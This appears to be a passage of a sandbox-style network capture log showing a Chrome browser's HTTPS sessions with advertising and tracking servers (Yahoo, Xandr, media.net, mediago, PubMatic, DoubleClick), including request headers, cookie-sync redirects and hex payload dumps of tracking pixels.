2024-01-10 23:27:18 UTC	313	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 6a 49 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.4	50084	68.67.160.76	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	665	OUT	GET /getuid?https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dapx%26ovsid%3D%24UID%26axid_e%3D HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:18 UTC	1319	IN	HTTP/1.1 307 Redirection Server: nginx/1.21.3 Date: Wed, 10 Jan 2024 23:27:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Set-Cookie: XANDR_PANID=4e2zV2fQ_fpCKGjngeQMMSEZNweIg3T1qoOmSytBsZ19wNJldA-7xiAGuIc_X_Mg5NwzCAyJ0HHlBT7gOR-ypIQ-uexsSN0_F_1wLSWvek0.; SameSite=None; Path=/; Max-Age=314496000; Domain=.adnxs.com; Secure; Partitioned Location: https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253A%252F%252Fhb.yahoo.net%252Fcksync.php%253Fcs%253D1%2526type%253Dapx%2526ovsid%253D%2524UID%2526axid_e%253D AN-X-Request-Uuid: 9d8ddd54-92c1-4534-9ee1-537f449a842e Set-Cookie: uuid2=7367141199740274687; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:18 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.42; 102.165.48.42; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.4	50090	44.236.142.66	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	859	OUT	GET /visitor/bsync?uid=4534c002537f77c2f55cc45a7f5f4c52&name=YAHOO&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&url=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26vsid%3D3479308310180275000V10%26type%3Dayl%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26ovsid%3D%5BUSERID%5D%26axid_e%3D HTTP/1.1 Host: visitor.omnitagjs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:18 UTC	686	IN	HTTP/1.1 307 Temporary Redirect Date: Wed, 10 Jan 2024 23:27:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close cache-control: no-cache, no-store, must-revalidate expires: 0 location: https://hb.yahoo.net/cksync.php?cs=1&vsid=3479308310180275000V10&type=ayl&refUrl=&vid=49292349683479308310180275000V10&ovsid=80df0390ac1a08301112e6851cc561f4&axid_e= p3p: CP="CAO PSA OUR" pragma: no-cache set-cookie: ayl_visitor=80df0390ac1a08301112e6851cc561f4; Path=/; Domain=omnitagjs.com; Max-Age=2592000; Secure; SameSite=None vary: Accept-Encoding x-content-type-options: nosniff X-Kong-Upstream-Latency: 7 X-Kong-Proxy-Latency: 0 Via: kong/2.8.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.4	50098	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	1645	OUT	POST /p?s=2023538075&t=1704929236563&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-MON2-iframe&isRefresh=false&loc=mid_right_c&renderCount=1&status=succeeded HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:18 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.4	50099	23.205.72.21	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	735	OUT	GET /cksync?type=g&cs=8&google_gid=CAESEE-LbdqTsHKcksq6UKuBoDI&google_cver=1 HTTP/1.1 Host: cs.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8
2024-01-10 23:27:18 UTC	560	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8;Expires=Wed, 24 Jan 2024 23:27:18 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:18 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:18 GMT Connection: close
2024-01-10 23:27:18 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:18 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.4	50101	3.162.125.63	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	779	OUT	GET /js/cookieSync.html?tn=41b6e88a2b85b0e731ef8e73e5558712 HTTP/1.1 Host: cdn.mediago.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:18 UTC	563	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 21172 Connection: close Date: Wed, 10 Jan 2024 07:20:36 GMT Last-Modified: Wed, 10 Jan 2024 02:28:00 GMT ETag: "1c8cf628c440e9691044de2b3f1a859b" x-amz-server-side-encryption: AES256 x-amz-version-id: tB85yU9mBCFKZBJnzO_vCyBrBvKRShWu Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 4f8e8c9677a68ac8935c32689f962b7a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD61-P3 X-Amz-Cf-Id: lWXA2ssnGLPLMYxHCDLqf4ZJrCPCQ_aGy-L6EwzEHG7xRyXL-y_RBQ== Age: 58003 Vary: Origin
2024-01-10 23:27:18 UTC	15821	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 76 61 72 20 74 3d 73 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 2e 65 78 70 6f 72 74 73 3b 74 3d 73 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 64 5b 65 5d 28 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 6e 2c 65 2c 69 2c 61 2c 72 2c 63 2c 64 3d 7b 38 32 34 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: <!doctype html><html><head><meta charset="UTF-8"><title></title></head><body><script>!function(){"use strict";function o(e){var t=s[e];if(void 0!==t)return t.exports;t=s[e]={exports:{}};return d[e](t,t.exports,o),t.exports}var n,e,i,a,r,c,d={824:function(
2024-01-10 23:27:18 UTC	5351	IN	Data Raw: 65 72 61 3b 72 65 74 75 72 6e 2f 77 69 6e 64 6f 77 73 20 70 68 6f 6e 65 2f 69 2e 74 65 73 74 28 65 29 3f 22 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 22 3a 2f 61 6e 64 72 6f 69 64 2f 69 2e 74 65 73 74 28 65 29 3f 22 41 6e 64 72 6f 69 64 22 3a 2f 69 50 61 64 2f 2e 74 65 73 74 28 65 29 26 26 21 77 69 6e 64 6f 77 2e 4d 53 53 74 72 65 61 6d 3f 22 69 4f 53 20 69 50 61 64 22 3a 2f 69 50 68 6f 6e 65 2f 2e 74 65 73 74 28 65 29 26 26 21 77 69 6e 64 6f 77 2e 4d 53 53 74 72 65 61 6d 3f 22 69 4f 53 20 69 50 68 6f 6e 65 22 3a 2f 69 50 61 64 7c 69 50 68 6f 6e 65 7c 69 50 6f 64 2f 2e 74 65 73 74 28 65 29 26 26 21 77 69 6e 64 6f 77 2e 4d 53 53 74 72 65 61 6d 3f 22 69 4f 53 20 69 50 6f 64 22 3a 22 50 43 22 7d 2c 74 2e 67 65 74 50 72 6f 70 65 72 74 79 3d 66 75 6e 63 74 69 6f Data Ascii: era;return/windows phone/i.test(e)?"Windows Phone":/android/i.test(e)?"Android":/iPad/.test(e)&&!window.MSStream?"iOS iPad":/iPhone/.test(e)&&!window.MSStream?"iOS iPhone":/iPad\|iPhone\|iPod/.test(e)&&!window.MSStream?"iOS iPod":"PC"},t.getProperty=functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.4	50103	35.208.249.213	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	2504	OUT	GET /ju/ic?tn=41b6e88a2b85b0e731ef8e73e5558712&trackingid=04a631c1403c686257d99a5a93eaf1a7&acid=402&data=AVl65Pzp_6_uiIHQCSzGHRxmbn6afL7LgP51GxiYlbNt2Wod9wvV5l7C0NSo0S6vLHwehqJ3oBr0eKOvHIYwK5sdBlaScNbz2xFghufKZeC1Icm1yfqJUgtjDZVCuInqG2GV1mCjPltbzWuTPclwX42yn83cs5uU3EGnHzTyVqXtwNTipmAokTH-8Muj9pzcxe6MSJ33uGBNX-BAidY8LOL3S-A1ZlTz7rdIywh8bItLy93VPWcoum5xx2XY9MIH0IDAgHNzj-ZYPDnK0SuqTFzAbNTiqWoOBBCV4IQFFPZ5tPABn16fIzPBtdlfZiJA0G1YpOhOXckPM3HkuH-DlP9o-y1zlQAFCJJo8LLj_vQ3ccfwUkUA1FPYJVYlASkSrBHSybu2odK6_kfMKv2lFJZCieXBMDco-hOh8lCdsMYEJJpFjGZbWw1eqMjQapmb4pCgArtYfx1mWdCCgpKvhkqvrgVZTlCrEkVxHrmI50x0LWioxQwFusOricXD8gC4i_vKWI5sGHLYr7P8uTQCPOlhpimfwtiXhtt0FjPJzwgrjRmrSRzjIKdZ1HsS2WfsZuqWIUWlFVQN46HsSGcnAitDf2m5jTgLDJJi_O0yzP0i2cqlTb89kbqBV-wvMzwIhcTw1af3ibljbziaOMBshzd7wiIhnG8oyBikTowztIDMT8N7iIYBgh-0nG-17PutmP4w6_dsEb11BJyKawnlTOFST95bCI-MSVzNI_rQeuyoeDIkNOhi13uRzWP9glpwMWwJOnFTAP6A0zvtJ54Myq1An9WoLgLgrTLqIgDsQRIEURD92zOxx4eGmyAYydVtpgDmZFot65b8fDT4RFQ0Q5QTtwX0VzAe3ScGMOlLx3dB0HmGvc8JUxgNNxWCDxRh1BZUSeE_uQB7rX3081zJVpVYJ9_FFryFPTCxN2EVFrmKmCjyeEAPSg_vSnRiADhvJj4l__CdApNdkl0_sDV9L3eEfdUF_3mdBBMrA0p3_ol4uJZ0Q74cON9TNl7S1_bfmk9tfqR8NKZS2zCkQozrDvB2BEJnMqwyDZNbboIKYB8W-ZKFHcoYGpKK8Bay5uMQvfRuUKV9CA_4qzzHGNV9RJzhl6atcfbILayqp42BbmBJqMCmmSlUsEdpgcfFshNpajFhB4sh2tLaInJHD9futPsfltTZ2qd9rKzphimuQsMLTxx5ANMu-fs6LTHhN1x5r96V51abyPBFi1FH7fL7V59a6nmOJhvqFFCpDGFKIJgGEKGPbgVnYnfoiPgcop3jN5hIXfjEeeoRdBG9VihoRf4Q_yhM3L_KuFk5IxtVJHd1AFuYzQnTrQ5Pf1r3N7s_AsBDwDCSlWOBPCUgY57sKozzFGLKsDgOd_Wz_yzMxgbdQpXUfIYRGcHHanZJS0oMOWE0KCuemzE3pT5RiUoQInLO8Jzom3V46WgVbxKgDqJ_cILKBei9Bfbd6xgeuqmQ3pgmPHy-4PPU9ETonKhjjNHQe8ByGKni8dFnw16YnALoze5l_vRch-nxDRBvkEWCTnS1AgTD-4EA2xNlA8lzib3ZZ8uO55BMaAPXpME7qXNQyyywlntQ3VasUHbRvive7nRUXFNW8gyobKQGi6M52T7u6UtrvljO03WzL4QtK5xCF5myTfZvvuEL4ATqNB1_4C41p2haKi0uw1vQgoI3RKbXpMhvvbX2jDci7-lZ4iw&uid=mid_ce9cde3a1c0e7f4e848e475cb97e8336&mguid=&ap={AUCTION_PRICE}&tid=3 HTTP/1.1 Host: trace.mediago.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:18 UTC	320	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=utf-8 Set-Cookie: __mguid_=22210ca70ab2b1d52kwt8a00lr8eujxp; Path=/; Domain=mediago.io; Max-Age=31536000; Secure; SameSite=None Date: Wed, 10 Jan 2024 23:27:18 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.4	50111	54.208.16.196	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	838	OUT	GET /ping_match.gif?scc=1&ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Ddxu%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1 Host: pm.w55c.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5
2024-01-10 23:27:18 UTC	784	IN	HTTP/1.1 302 Cache-Control: no-cache, must-revalidate Date: Wed, 10 Jan 2024 23:27:18 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Location: https://contextual.media.net/cksync.php?cs=8&vsid=3479308330180239000V10&type=dxu&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=Rw6Yt2Jl1RnHYF5 Pragma: no-cache Server: PingMatch/v2.0.30-795-gb641a57#rel-ec2-master i-0f9245a54a0b9d42b@us-east-1e@dxedge-app-us-east-1-prod-asg Set-Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5; Domain=.w55c.net; Expires=Mon, 10-Feb-2025 23:27:18 GMT; Path=/; SameSite=None; Secure Set-Cookie: matchmedianet=5; Domain=.w55c.net; Expires=Fri, 09-Feb-2024 23:27:18 GMT; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.4	50113	35.207.24.140	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	725	OUT	GET /ul_cb/sync?ssp=medianet&ssp_user_id=3479308330180239000V10 HTTP/1.1 Host: rtb.mfadsrvr.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=20ed5203-3644-4449-ae7b-5e053499d8b1; c=1704929237; tuuid_lu=1704929237
2024-01-10 23:27:18 UTC	739	IN	HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache, no-store, must-revalidate Content-Length: 0 Date: Wed, 10 Jan 2024 23:27:18 GMT Location: //contextual.media.net/cksync.php?type=mf&ovsid=20ed5203-3644-4449-ae7b-5e053499d8b1&cs=1 Set-Cookie: tuuid=20ed5203-3644-4449-ae7b-5e053499d8b1; path=/; expires=Fri, 09-Jan-2026 23:27:18 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: tuuid_lu=1704929238; path=/; expires=Fri, 09-Jan-2026 23:27:18 GMT; domain=.mfadsrvr.com; samesite=none; secure Set-Cookie: ssh=!medianet,1704929238; path=/; expires=Fri, 09-Jan-2026 23:27:18 GMT; domain=.mfadsrvr.com; samesite=none; secure Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.4	50100	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:18 UTC	837	OUT	GET /pixel?google_nid=pubmatic&google_cm=&google_sc=&gdpr=0&gdpr_consent=&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:18 UTC	736	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEPI9hVJH5w22DLuOR_CuGrs&google_cver=1 Date: Wed, 10 Jan 2024 23:27:18 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 379 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:18 UTC	379	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 49 78 4e 7a 63 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A 